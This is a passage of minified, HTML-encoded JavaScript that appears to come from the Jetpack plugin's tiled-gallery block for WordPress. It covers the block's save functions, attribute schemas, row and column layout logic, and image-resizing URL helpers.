r=s(90907),n=s(60041),o=s(77511),a=s(10790);function i(e){return Math.min(3,e.images.length)}function l({attributes:e}){const{imageFilter:t,images:s}=e;if(!s.length)return null;const{align:l,className:c,columns:u=i(e),linkTo:d,roundedCorners:p,columnWidths:h}=e;return(0,a.jsx)(o.A,{align:l,className:c,columns:u,imageFilter:t,images:s,isSave:!0,layoutStyle:(0,r.D)(n.kc,c),linkTo:d,roundedCorners:p,columnWidths:h})}},13014(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i,s:()=&gt;a});var r=s(63162),n=s(14936),o=s(60041);function a(e){return[&quot;circle&quot;,&quot;square&quot;].includes(e)}function i(e,t={}){if(!e.height||!e.url||!e.width)return{};if((0,r.isBlobURL)(e.url)||/^https?:\/\/localhost/.test(e.url)||/^https?:\/\/.*\.local\//.test(e.url))return{src:e.url};const s=e.url.split(&quot;?&quot;,1)[0],{height:i,width:c}=e,{layoutStyle:u}=t,d=function(e){const{host:t}=new URL(e,window.location.href);return/\.files\.wordpress\.com$/.test(t)}(s)||!0===function(){if(&quot;undefined&quot;!=typeof jetpack_plan&amp;&amp;&quot;vip&quot;===jetpack_plan.data)return!0}()?l:n.A;let p;if(a(u)&amp;&amp;c&amp;&amp;i){const e=Math.min(o.rK,c,i);p=d(s,{resize:`${e},${e}`})}else p=d(s);let h=[];if(a(u)){const e=Math.min(600,c,i),t=Math.min(o.rK,c,i);for(let r=e;r&lt;t;r+=300){const e=d(s,{resize:`${r},${r}`,strip:&quot;info&quot;});e&amp;&amp;h.push(`${e} ${r}w`)}}else{const e=Math.min(600,c),t=Math.min(o.rK,c);for(let r=e;r&lt;t;r+=300){const e=d(s,{strip:&quot;info&quot;,width:r});e&amp;&amp;h.push(`${e} ${r}w`)}}return h=h.join(&quot;,&quot;),Object.assign({src:p},h&amp;&amp;{srcSet:h})}function l(e,t={}){const s={width:&quot;w&quot;,height:&quot;h&quot;,letterboxing:&quot;lb&quot;,removeLetterboxing:&quot;ulb&quot;},r=Object.assign(new URL(e,window.location.href),{username:&quot;&quot;,password:&quot;&quot;,port:&quot;&quot;,search:&quot;&quot;,hash:&quot;&quot;});for(const[e,n]of Object.entries(t))r.searchParams.set(Object.hasOwn(s,e)?s[e]:e,n);return r.toString()}},86136(e,t,s){&quot;use strict&quot;;s.d(t,{T$:()=&gt;l,WN:()=&gt;o,ZS:()=&gt;n,aQ:()=&gt;i,hE:()=&gt;r,kc:()=&gt;c,rK:()=&gt;a});const r=4,n=20,o=20,a=2e3,i=&quot;circle&quot;,l=&quot;rectangular&quot;,c=[{isDefault:!0,name:l},{name:i},{name:&quot;square&quot;},{name:&quot;columns&quot;}]},92431(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(63162),n=s(13022),o=s(10790);function a(e){const{alt:t,imageFilter:s,height:a,id:i,link:l,linkTo:c,origUrl:u,url:d,width:p}=e;if((0,r.isBlobURL)(u))return null;let h;switch(c){case&quot;media&quot;:h=d;break;case&quot;attachment&quot;:h=l}const m=(0,o.jsx)(&quot;img&quot;,{alt:t,&quot;data-height&quot;:a,&quot;data-id&quot;:i,&quot;data-link&quot;:l,&quot;data-url&quot;:u,&quot;data-width&quot;:p,src:d,&quot;data-amp-layout&quot;:&quot;responsive&quot;});return(0,o.jsx)(&quot;figure&quot;,{className:(0,n.A)(&quot;tiled-gallery__item&quot;,{[`filter__${s}`]:!!s}),children:h?(0,o.jsx)(&quot;a&quot;,{href:h,children:m}):m})}},24753(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;o,save:()=&gt;n.A,supports:()=&gt;a});var r=s(86136),n=s(21180);const o={align:{default:&quot;center&quot;,type:&quot;string&quot;},className:{default:`is-style-${r.T$}`,type:&quot;string&quot;},columns:{type:&quot;number&quot;},columnWidths:{default:[],type:&quot;array&quot;},ids:{default:[],type:&quot;array&quot;},imageFilter:{type:&quot;string&quot;},images:{type:&quot;array&quot;,default:[],source:&quot;query&quot;,selector:&quot;.tiled-gallery__item&quot;,query:{alt:{attribute:&quot;alt&quot;,default:&quot;&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},height:{attribute:&quot;data-height&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;},id:{attribute:&quot;data-id&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},link:{attribute:&quot;data-link&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},url:{attribute:&quot;data-url&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},width:{attribute:&quot;data-width&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;}}},imageCrop:{type:&quot;boolean&quot;,default:!0},linkTo:{default:&quot;none&quot;,type:&quot;string&quot;},roundedCorners:{type:&quot;integer&quot;,default:0}},a={align:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;],color:{gradients:!0,text:!1},customClassName:!1,html:!1,spacing:{margin:!0,padding:!0},__experimentalHideChildBlockControls:!0}},78608(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e,width:t}){const s=t?{flexBasis:`${t}%`}:void 0;return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__col&quot;,style:s,children:e})}},52042(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e,galleryRef:t}){return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__gallery&quot;,ref:t,children:e})}},26092(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(86087),n=s(27723),o=s(13022),a=s(86136),i=s(92431),l=s(32083),c=s(91341),u=s(67325),d=s(10790);const __=n.__;class p extends r.Component{renderImage(e,t){const{columns:s,imageFilter:r,images:o,isSave:a,linkTo:c,layoutStyle:u,onMoveBackward:p,onMoveForward:h,onRemoveImage:m,onSelectImage:g,selectedImage:f,setImageAttributes:b}=this.props,v=(0,n.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
__(&quot;image %1$d of %2$d in gallery&quot;,&quot;jetpack&quot;),t+1,o.length),{src:k,srcSet:y}=(0,l.A)(e,{layoutStyle:u});return(0,d.jsx)(i.A,{alt:e.alt,&quot;aria-label&quot;:v,columns:s,height:e.height,id:e.id,imageFilter:r,isFirstItem:0===t,isLastItem:t+1===o.length,isSelected:f===t,link:e.link,linkTo:c,onMoveBackward:a?void 0:p(t),onMoveForward:a?void 0:h(t),onRemove:a?void 0:m(t),onSelect:a?void 0:g(t),origUrl:e.url,setAttributes:a?void 0:b(t),showMovers:o.length&gt;1,srcSet:y,url:k,width:e.width},t)}render(){const{align:e,children:t,className:s,columns:r,images:n,layoutStyle:i,roundedCorners:p,onResize:h,style:m,isSave:g,columnWidths:f}=this.props,b=(0,l.s)(i)?u.A:c.A,v=this.props.images.map(this.renderImage,this),k=i!==a.aQ?Math.min(p,a.WN):0;return(0,d.jsxs)(&quot;div&quot;,{style:m,className:(0,o.A)(s,{[`has-rounded-corners-${k}`]:k&gt;0}),children:[(0,d.jsx)(b,{align:e,columns:r,columnWidths:g?f:void 0,images:n,layoutStyle:i,renderedImages:v,onResize:g?void 0:h}),t]})}}},91341(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(86087),n=s(94107),o=s(78608),a=s(52042),i=s(9276),l=s(71245),c=s(86461),u=s(10790);class d extends r.Component{gallery=(0,r.createRef)();pendingRaf=null;ro=null;componentDidMount(){this.observeResize()}componentWillUnmount(){this.unobserveResize()}componentDidUpdate(e){(e.images!==this.props.images||e.align!==this.props.align||&quot;columns&quot;===this.props.layoutStyle&amp;&amp;e.columns!==this.props.columns)&amp;&amp;this.triggerResize()}handleGalleryResize=e=&gt;{this.pendingRaf&amp;&amp;(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null),this.pendingRaf=requestAnimationFrame(()=&gt;{for(const{contentRect:t,target:s}of e){const{width:e}=t,r=[];(0,c.S)(s).forEach(t=&gt;{r.push((0,c.r)(t,e))}),void 0!==this.props.onResize&amp;&amp;this.props.onResize(r)}})};triggerResize(){this.gallery.current&amp;&amp;this.handleGalleryResize([{target:this.gallery.current,contentRect:{width:this.gallery.current.clientWidth}}])}observeResize(){this.triggerResize(),this.ro=new n.A(this.handleGalleryResize),this.gallery.current&amp;&amp;this.ro.observe(this.gallery.current)}unobserveResize(){this.ro&amp;&amp;(this.ro.disconnect(),this.ro=null),this.pendingRaf&amp;&amp;(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null)}getColumnWidths(e,t,s){let r=0;return e.map(e=&gt;e.map(e=&gt;{const s=t.slice(r,r+e);return r+=e,s})).map(e=&gt;(0,c.r)(e,s))}render(){const{align:e,columns:t,images:s,layoutStyle:n,renderedImages:c}=this.props,d=(0,l.mJ)(s),p=&quot;columns&quot;===n?(0,l.FL)(d,t):(0,l.VU)(d,{isWide:[&quot;full&quot;,&quot;wide&quot;].includes(e)}),h=r.Platform.select({web:()=&gt;this.props.columnWidths,native:()=&gt;this.getColumnWidths(p,c,1e3)})();let m=0;return(0,u.jsx)(a.A,{galleryRef:this.gallery,children:p.map((e,t)=&gt;(0,u.jsx)(i.A,{children:e.map((e,s)=&gt;{const r=c.slice(m,m+e);return m+=e,(0,u.jsx)(o.A,{width:h?.[t]?.[s],children:r},s)})},t))})}}},71245(e,t,s){&quot;use strict&quot;;s.d(t,{FL:()=&gt;a,VU:()=&gt;C,mJ:()=&gt;n});var r=s(66087);function n(e){return e.map(o)}function o({height:e,width:t}){return e&amp;&amp;t?t/e:1}function a(e,t){if(e.length&lt;=t)return[Array(e.length).fill(1)];const s=(0,r.sum)(e)/t,n=[];let o=e,a=0;for(let e=0;e&lt;t-1;e++){const t=(0,r.takeWhile)(o,t=&gt;{const r=a&lt;=(e+1)*s;return r&amp;&amp;(a+=t),r}).length;n.push(t),o=o.slice(t)}return n.push(o.length),[n]}const i=A([2,1,2],5),l=S([E,E,N,E,E]),c=S([E,E,E,N,E,E,E]),u=A([3,1,3],5),d=S([N,E,E,N]),p=A([1,2,1],5),h=S([N,E,E,E]),m=A([1,3],3),g=S([E,E,E,N]),f=A([3,1],3),b=S([B(1.6),(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2))]),v=A([1,2],3),k=A([1,1,1,1,1],1),y=A([1,1,1,1],1),x=A([1,1,1],3),j=S([(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2)),B(1.6)]),w=A([2,1],3),_=S([function(e){return e&gt;=2}]);function C(e,{isWide:t}={}){const s=(e,n)=&gt;{if(!n.length)return e;let o;o=n.length&gt;15&amp;&amp;l(n)&amp;&amp;i(e)?[2,1,2]:n.length&gt;15&amp;&amp;c(n)&amp;&amp;u(e)?[3,1,3]:5!==n.length&amp;&amp;d(n)&amp;&amp;p(e)?[1,2,1]:h(n)&amp;&amp;m(e)?[1,3]:g(n)&amp;&amp;f(e)?[3,1]:b(n)&amp;&amp;v(e)?[1,2]:t&amp;&amp;(5===n.length||10!==n.length&amp;&amp;n.length&gt;6)&amp;&amp;k(e)&amp;&amp;(0,r.sum)(n.slice(0,5))&lt;5?[1,1,1,1,1]:function(e,t){const s=(0,r.sum)(t.slice(0,4));return y(e)&amp;&amp;s&lt;3.5&amp;&amp;t.length&gt;5||s&lt;7&amp;&amp;4===t.length}(e,n)?[1,1,1,1]:function(e,t,s){const n=(0,r.sum)(t.slice(0,3));return t.length&gt;=3&amp;&amp;4!==t.length&amp;&amp;6!==t.length&amp;&amp;x(e)&amp;&amp;(n&lt;2.5||n&lt;5&amp;&amp;t.length&gt;=3&amp;&amp;t[0]===t[2]||s)}(e,n,t)?[1,1,1]:j(n)&amp;&amp;w(e)?[2,1]:_(n)?[1]:n.length&gt;3?[1,1]:Array(n.length).fill(1);const a=e.concat([o]),C=(0,r.sum)(o),A=n.slice(C);return s(a,A)};return s([],e)}function A(e,t){return s=&gt;!s.slice(-t).some(t=&gt;(0,r.isEqual)(t,e))}function S(e){return t=&gt;t.length&gt;=e.length&amp;&amp;(0,r.zipWith)(e,t.slice(0,e.length),(e,t)=&gt;e(t)).every(Boolean)}function E(e){return e&gt;=1&amp;&amp;e&lt;2}function N(e){return e&lt;1}function T(e){return t=&gt;t&gt;=e}function B(e){return t=&gt;t&lt;e}},86461(e,t,s){&quot;use strict&quot;;s.d(t,{S:()=&gt;a,r:()=&gt;o});var r=s(86136);function n(e,t){const s=(t-e.reduce((e,t)=&gt;e+t,0))/e.length;return e.map(e=&gt;e+s)}function o(e,t){return function(e,[t,s],o){const a=1/t*(o-r.hE*(e.childElementCount-1)-s);return function(e,{rawHeight:t,rowWidth:s}){const o=i(e),a=o.map(e=&gt;(t-r.hE*(e.childElementCount-1))*c(e)[0]),d=n(a,s);o.forEach((e,s)=&gt;{const o=a[s],i=d[s];!function(e,{colHeight:t,width:s,rawWidth:r}){const o=l(e).map(e=&gt;r/u(e)),a=n(o,t);Array.from(e.children).forEach((e,t)=&gt;{const r=a[t];e.setAttribute(&quot;style&quot;,`height:${r}px;width:${s}px;`)})}(e,{colHeight:t-r.hE*(e.childElementCount-1),width:i,rawWidth:o})});return d.map(e=&gt;parseFloat(e/s*100).toFixed(5))}(e,{rawHeight:a,rowWidth:o-r.hE*(e.childElementCount-1)})}(e,function(e){const t=i(e).map(c).reduce(([e,t],[s,r])=&gt;[e+s,t+r],[0,0]);return t}(e),t)}function a(e){return Array.from(e.querySelectorAll(&quot;.tiled-gallery__row&quot;))}function i(e){return Array.from(e.querySelectorAll(&quot;.tiled-gallery__col&quot;))}function l(e){return Array.from(e.querySelectorAll(&quot;.tiled-gallery__item &gt; img, .tiled-gallery__item &gt; a &gt; img&quot;))}function c(e){const t=l(e),s=t.length,r=1/t.map(u).reduce((e,t)=&gt;e+1/t,0);return[r,r*s||1]}function u(e){const t=parseInt(e.dataset.width,10),s=parseInt(e.dataset.height,10);return t&amp;&amp;!Number.isNaN(t)&amp;&amp;s&amp;&amp;!Number.isNaN(s)?t/s:1}},9276(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(13022),n=s(10790);function o({children:e,className:t}){return(0,n.jsx)(&quot;div&quot;,{className:(0,r.A)(&quot;tiled-gallery__row&quot;,t),children:e})}},67325(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(66087),n=s(86136),o=s(78608),a=s(52042),i=s(9276),l=s(10790);function c({columns:e,renderedImages:t}){const s=Math.min(n.ZS,e),c=t.length%s;return(0,l.jsx)(a.A,{children:[...c?[t.slice(0,c)]:[],...(0,r.chunk)(t.slice(c),s)].map((e,t)=&gt;(0,l.jsx)(i.A,{className:`columns-${e.length}`,children:e.map((e,t)=&gt;(0,l.jsx)(o.A,{children:e},t))},t))})}},21180(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(90907),n=s(86136),o=s(26092),a=s(10790);function i(e){return Math.min(3,e.images.length)}function l({attributes:e}){const{imageFilter:t,images:s}=e;if(!s.length)return null;const{align:l,className:c,columns:u=i(e),linkTo:d,roundedCorners:p,columnWidths:h}=e;return(0,a.jsx)(o.A,{align:l,className:c,columns:u,imageFilter:t,images:s,isSave:!0,layoutStyle:(0,r.D)(n.kc,c),linkTo:d,roundedCorners:p,columnWidths:h})}},32083(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u,s:()=&gt;c});var r=s(97999),n=s(85985),o=s(63162),a=s(14936),i=s(13087),l=s(86136);function c(e){return[&quot;circle&quot;,&quot;square&quot;].includes(e)}function u(e,t={}){if(!e.height||!e.width)return e.url?{src:e.url}:{};if((0,i.A)())return{src:e.url};if((0,o.isBlobURL)(e.url)||/^https?:\/\/localhost/.test(e.url)||/^https?:\/\/.*\.local\//.test(e.url)||(0,r.isWoASite)()&amp;&amp;(0,n.pP)())return{src:e.url};const s=e.url.split(&quot;?&quot;,1)[0],{height:u,width:p}=e,{layoutStyle:h}=t,m=function(e){const{host:t}=new URL(e,window.location.href);return/\.files\.wordpress\.com$/.test(t)}(s)||!0===function(){if(&quot;undefined&quot;!=typeof jetpack_plan&amp;&amp;&quot;vip&quot;===jetpack_plan.data)return!0}()?d:a.A;let g;if(c(h)&amp;&amp;p&amp;&amp;u){const e=Math.min(l.rK,p,u);g=m(s,{resize:`${e},${e}`})}else g=m(s);let f=[];if(c(h)){const e=Math.min(600,p,u),t=Math.min(l.rK,p,u);for(let r=e;r&lt;t;r+=300){const e=m(s,{resize:`${r},${r}`,strip:&quot;info&quot;});e&amp;&amp;f.push(`${e} ${r}w`)}}else{const e=Math.min(600,p),t=Math.min(l.rK,p);for(let r=e;r&lt;t;r+=300){const e=m(s,{strip:&quot;info&quot;,width:r});e&amp;&amp;f.push(`${e} ${r}w`)}}return f=f.join(&quot;,&quot;),Object.assign({src:g},f&amp;&amp;{srcSet:f})}function d(e,t={}){const s={width:&quot;w&quot;,height:&quot;h&quot;,letterboxing:&quot;lb&quot;,removeLetterboxing:&quot;ulb&quot;},r=Object.assign(new URL(e,window.location.href),{username:&quot;&quot;,password:&quot;&quot;,port:&quot;&quot;,search:&quot;&quot;,hash:&quot;&quot;});for(const[e,n]of Object.entries(t))r.searchParams.set(Object.hasOwn(s,e)?s[e]:e,n);return r.toString()}},60601(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={align:{type:&quot;string&quot;,default:&quot;center&quot;},className:{type:&quot;string&quot;,default:&quot;is-style-rectangular&quot;},columns:{type:&quot;number&quot;},columnWidths:{type:&quot;array&quot;,default:[]},ids:{type:&quot;array&quot;,default:[]},imageFilter:{type:&quot;string&quot;},images:{type:&quot;array&quot;,default:[],source:&quot;query&quot;,selector:&quot;.tiled-gallery__item&quot;,query:{alt:{attribute:&quot;alt&quot;,default:&quot;&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},height:{attribute:&quot;data-height&quot;,type:&quot;number&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},id:{attribute:&quot;data-id&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},link:{attribute:&quot;data-link&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},url:{attribute:&quot;data-url&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},width:{attribute:&quot;data-width&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;}}},imageCrop:{type:&quot;boolean&quot;,default:!0},linkTo:{default:&quot;none&quot;,type:&quot;string&quot;},roundedCorners:{type:&quot;integer&quot;,default:0}}},62554(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;r.A,save:()=&gt;o.A,supports:()=&gt;n.A});var r=s(60601),n=s(2500),o=s(64129)},64129(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(94715),n=s(90907),o=s(35463),a=s(29520),i=s(10309),l=s(10790);function c({attributes:e}){const{imageFilter:t,images:s}=e;if(!s.length)return null;const{align:c,className:u,columns:d=(0,a.EB)(e),linkTo:p,roundedCorners:h,columnWidths:m}=e,g=r.useBlockProps.save();return(0,l.jsx)(&quot;div&quot;,{...g,children:(0,l.jsx)(i.A,{align:c,className:u,columns:d,imageFilter:t,images:s,isSave:!0,layoutStyle:(0,n.D)(o.kc,u),linkTo:p,roundedCorners:h,columnWidths:m})})}},2500(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={align:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;],color:{gradients:!0,text:!1},customClassName:!1,html:!1,spacing:{margin:!0,padding:!0},__experimentalHideChildBlockControls:!0}},92990(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={align:{type:&quot;string&quot;,default:&quot;center&quot;},className:{type:&quot;string&quot;,default:&quot;is-style-rectangular&quot;},columns:{type:&quot;number&quot;},columnWidths:{type:&quot;array&quot;,default:[]},ids:{type:&quot;array&quot;,default:[]},imageFilter:{type:&quot;string&quot;},images:{type:&quot;array&quot;,default:[],source:&quot;query&quot;,selector:&quot;.tiled-gallery__item&quot;,query:{alt:{attribute:&quot;alt&quot;,default:&quot;&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},height:{attribute:&quot;data-height&quot;,type:&quot;number&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},id:{attribute:&quot;data-id&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},link:{attribute:&quot;data-link&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},url:{attribute:&quot;data-url&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},width:{attribute:&quot;data-width&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;}}},imageCrop:{type:&quot;boolean&quot;,default:!0},linkTo:{default:&quot;none&quot;,type:&quot;string&quot;},roundedCorners:{type:&quot;integer&quot;,default:0}}},41314(e,t,s){&quot;use strict&quot;;s.d(t,{WN:()=&gt;n,ZS:()=&gt;r,aQ:()=&gt;a,rK:()=&gt;o});const r=20,n=20,o=2e3,a=&quot;circle&quot;},7957(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(63162),n=s(13022),o=s(10790);function a(e){const{alt:t,imageFilter:s,height:a,id:i,link:l,linkTo:c,origUrl:u,url:d,width:p}=e;if((0,r.isBlobURL)(u))return null;let h;switch(c){case&quot;media&quot;:h=u;break;case&quot;attachment&quot;:h=l}const m=(0,o.jsx)(&quot;img&quot;,{alt:t,&quot;data-height&quot;:a,&quot;data-id&quot;:i,&quot;data-link&quot;:l,&quot;data-url&quot;:u,&quot;data-width&quot;:p,src:d,&quot;data-amp-layout&quot;:&quot;responsive&quot;});return(0,o.jsx)(&quot;figure&quot;,{className:(0,n.A)(&quot;tiled-gallery__item&quot;,{[`filter__${s}`]:!!s}),children:h?(0,o.jsx)(&quot;a&quot;,{href:h,children:m}):m})}},59679(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;r.A,save:()=&gt;o.A,supports:()=&gt;n.A});var r=s(92990),n=s(93951),o=s(91162)},89798(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e,width:t}){const s=Math.pow(10,12),n=Math.round(t*s)/s,o=t?{flexBasis:`${n}%`}:void 0;return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__col&quot;,style:o,children:e})}},38448(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e,galleryRef:t}){return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__gallery&quot;,ref:t,children:e})}},6454(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(86087),n=s(27723),o=s(13022),a=s(41314),i=s(7957),l=s(52537),c=s(62579),u=s(58711),d=s(10790);const __=n.__;class p extends r.Component{renderImage(e,t){const{columns:s,imageFilter:r,images:o,isSave:a,linkTo:c,layoutStyle:u,onMoveBackward:p,onMoveForward:h,onRemoveImage:m,onSelectImage:g,selectedImage:f,setImageAttributes:b}=this.props,v=(0,n.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
__(&quot;image %1$d of %2$d in gallery&quot;,&quot;jetpack&quot;),t+1,o.length),{src:k,srcSet:y}=(0,l.A)(e,{layoutStyle:u});return(0,d.jsx)(i.A,{alt:e.alt,&quot;aria-label&quot;:v,columns:s,height:e.height,id:e.id,imageFilter:r,isFirstItem:0===t,isLastItem:t+1===o.length,isSelected:f===t,link:e.link,linkTo:c,onMoveBackward:a?void 0:p(t),onMoveForward:a?void 0:h(t),onRemove:a?void 0:m(t),onSelect:a?void 0:g(t),origUrl:e.url,setAttributes:a?void 0:b(t),showMovers:o.length&gt;1,srcSet:y,url:k,width:e.width},t)}render(){const{align:e,children:t,className:s,columns:r,images:n,layoutStyle:i,roundedCorners:p,onResize:h,isSave:m,columnWidths:g}=this.props,f=(0,l.s)(i)?u.A:c.A,b=this.props.images.map(this.renderImage,this),v=i!==a.aQ?Math.min(p,a.WN):0;return(0,d.jsxs)(&quot;div&quot;,{className:(0,o.A)(s,{[`has-rounded-corners-${v}`]:v&gt;0}),children:[(0,d.jsx)(f,{align:e,columns:r,columnWidths:m?g:void 0,images:n,layoutStyle:i,renderedImages:b,onResize:m?void 0:h}),t]})}}},62579(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(86087),n=s(89798),o=s(38448),a=s(26054),i=s(79167),l=s(10790);class c extends r.Component{gallery=(0,r.createRef)();pendingRaf=null;render(){const{align:e,columns:t,images:s,layoutStyle:r,renderedImages:c,columnWidths:u}=this.props,d=(0,i.mJ)(s),p=&quot;columns&quot;===r?(0,i.FL)(d,t):(0,i.VU)(d,{isWide:[&quot;full&quot;,&quot;wide&quot;].includes(e)});let h=0;return(0,l.jsx)(o.A,{galleryRef:this.gallery,children:p.map((e,t)=&gt;(0,l.jsx)(a.A,{children:e.map((e,s)=&gt;{const r=c.slice(h,h+e);return h+=e,(0,l.jsx)(n.A,{width:u?.[t]?.[s],children:r},s)})},t))})}}},79167(e,t,s){&quot;use strict&quot;;s.d(t,{FL:()=&gt;a,VU:()=&gt;C,mJ:()=&gt;n});var r=s(66087);function n(e){return e.map(o)}function o({height:e,width:t}){return e&amp;&amp;t?t/e:1}function a(e,t){if(e.length&lt;=t)return[Array(e.length).fill(1)];const s=(0,r.sum)(e)/t,n=[];let o=e,a=0;for(let e=0;e&lt;t-1;e++){const t=(0,r.takeWhile)(o,t=&gt;{const r=a&lt;=(e+1)*s;return r&amp;&amp;(a+=t),r}).length;n.push(t),o=o.slice(t)}return n.push(o.length),[n]}const i=A([2,1,2],5),l=S([E,E,N,E,E]),c=S([E,E,E,N,E,E,E]),u=A([3,1,3],5),d=S([N,E,E,N]),p=A([1,2,1],5),h=S([N,E,E,E]),m=A([1,3],3),g=S([E,E,E,N]),f=A([3,1],3),b=S([B(1.6),(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2))]),v=A([1,2],3),k=A([1,1,1,1,1],1),y=A([1,1,1,1],1),x=A([1,1,1],3),j=S([(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2)),B(1.6)]),w=A([2,1],3),_=S([function(e){return e&gt;=2}]);function C(e,{isWide:t}={}){const s=(e,n)=&gt;{if(!n.length)return e;let o;o=n.length&gt;15&amp;&amp;l(n)&amp;&amp;i(e)?[2,1,2]:n.length&gt;15&amp;&amp;c(n)&amp;&amp;u(e)?[3,1,3]:5!==n.length&amp;&amp;d(n)&amp;&amp;p(e)?[1,2,1]:h(n)&amp;&amp;m(e)?[1,3]:g(n)&amp;&amp;f(e)?[3,1]:b(n)&amp;&amp;v(e)?[1,2]:t&amp;&amp;(5===n.length||10!==n.length&amp;&amp;n.length&gt;6)&amp;&amp;k(e)&amp;&amp;(0,r.sum)(n.slice(0,5))&lt;5?[1,1,1,1,1]:function(e,t){const s=(0,r.sum)(t.slice(0,4));return y(e)&amp;&amp;s&lt;3.5&amp;&amp;t.length&gt;5||s&lt;7&amp;&amp;4===t.length}(e,n)?[1,1,1,1]:function(e,t,s){const n=(0,r.sum)(t.slice(0,3));return t.length&gt;=3&amp;&amp;4!==t.length&amp;&amp;6!==t.length&amp;&amp;x(e)&amp;&amp;(n&lt;2.5||n&lt;5&amp;&amp;t.length&gt;=3&amp;&amp;t[0]===t[2]||s)}(e,n,t)?[1,1,1]:j(n)&amp;&amp;w(e)?[2,1]:_(n)?[1]:n.length&gt;3?[1,1]:Array(n.length).fill(1);const a=e.concat([o]),C=(0,r.sum)(o),A=n.slice(C);return s(a,A)};return s([],e)}function A(e,t){return s=&gt;!s.slice(-t).some(t=&gt;(0,r.isEqual)(t,e))}function S(e){return t=&gt;t.length&gt;=e.length&amp;&amp;(0,r.zipWith)(e,t.slice(0,e.length),(e,t)=&gt;e(t)).every(Boolean)}function E(e){return e&gt;=1&amp;&amp;e&lt;2}function N(e){return e&lt;1}function T(e){return t=&gt;t&gt;=e}function B(e){return t=&gt;t&lt;e}},26054(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(13022),n=s(10790);function o({children:e,className:t}){return(0,n.jsx)(&quot;div&quot;,{className:(0,r.A)(&quot;tiled-gallery__row&quot;,t),children:e})}},58711(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(66087),n=s(41314),o=s(89798),a=s(38448),i=s(26054),l=s(10790);function c({columns:e,renderedImages:t}){const s=Math.min(n.ZS,e),c=t.length%s;return(0,l.jsx)(a.A,{children:[...c?[t.slice(0,c)]:[],...(0,r.chunk)(t.slice(c),s)].map((e,t)=&gt;(0,l.jsx)(i.A,{className:`columns-${e.length}`,children:e.map((e,t)=&gt;(0,l.jsx)(o.A,{children:e},t))},t))})}},91162(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(13022),o=s(90907),a=s(35463),i=s(29520),l=s(6454),c=s(10790);function u({attributes:e}){const{imageFilter:t,images:s}=e;if(!s.length)return null;const{align:u,className:d,columns:p=(0,i.EB)(e),linkTo:h,roundedCorners:m,columnWidths:g}=e,f=r.useBlockProps.save();return(0,c.jsxs)(&quot;div&quot;,{...f,className:(0,n.A)(f.className,d),children:[&quot; &quot;,(0,c.jsx)(l.A,{align:u,columns:p,imageFilter:t,images:s,isSave:!0,layoutStyle:(0,o.D)(a.kc,d),linkTo:h,roundedCorners:m,columnWidths:g})]})}},93951(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const 